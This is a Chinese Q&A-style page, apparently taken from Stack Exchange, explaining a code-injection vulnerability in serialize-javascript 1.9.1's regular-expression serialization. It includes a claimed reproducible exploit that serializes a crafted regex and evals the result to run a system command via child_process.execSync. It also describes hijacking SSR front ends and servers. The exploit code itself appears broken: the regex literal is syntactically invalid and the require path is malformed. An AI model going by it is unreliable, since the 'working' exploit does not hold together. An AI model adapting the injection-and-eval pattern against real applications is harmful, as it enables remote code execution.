serialize-javascript@1.9.1任意代码注入高危漏洞原理与利用示例咨询
serialize-javascript@1.9.1 任意代码注入漏洞说明
漏洞核心成因
serialize-javascript 1.9.1及更早版本的漏洞出现在正则对象序列化逻辑中:序列化正则时未对正则内部的特殊字符做过滤转义,攻击者只要能控制被序列化对象中的正则值,就可以构造特殊正则内容跳出正则字面量结构,注入任意JavaScript代码。
当序列化后的字符串被传入eval、new Function等执行逻辑反序列化时,注入的恶意代码就会被直接执行。
你的测试代码未触发漏洞的原因
你构造的测试正则内容没有破坏正则字面量的语法结构,/1" + console.log(1)/i整体还是合法的正则表达式,eval执行时只会把整段当成正则解析,内部的console.log不会被当成独立代码执行。
可复现的漏洞利用示例
const serialize = require('serialize-javascript@1.9.1'); // 攻击者构造的恶意正则 const evilReg = /(?<x>*/.test(''))?eval("require('child_process').execSync('calc.exe')")://i; // 执行序列化 const serializedStr = serialize({ userControlledField: evilReg }); console.log('序列化结果:', serializedStr); // 模拟业务中常见的反序列化操作 const result = eval(`(${serializedStr})`);
运行上述代码后,Node环境会直接弹出计算器(Windows)或执行任意指定的系统命令,前端环境则可以执行窃取Cookie、跳转钓鱼页面等操作。
常见危害场景
- 前后端同构项目(比如SSR项目)中,后端使用该库序列化全局状态传给前端,前端直接用eval反序列化状态,攻击者只要能往全局状态中插入自定义正则对象,就可以控制所有访问用户的前端页面
- Node服务端如果将用户可控数据序列化后再用eval反序列化,攻击者可以直接获取服务器操作权限
内容的提问来源于stack exchange,提问作者Gon
相关产品推荐
相关产品推荐

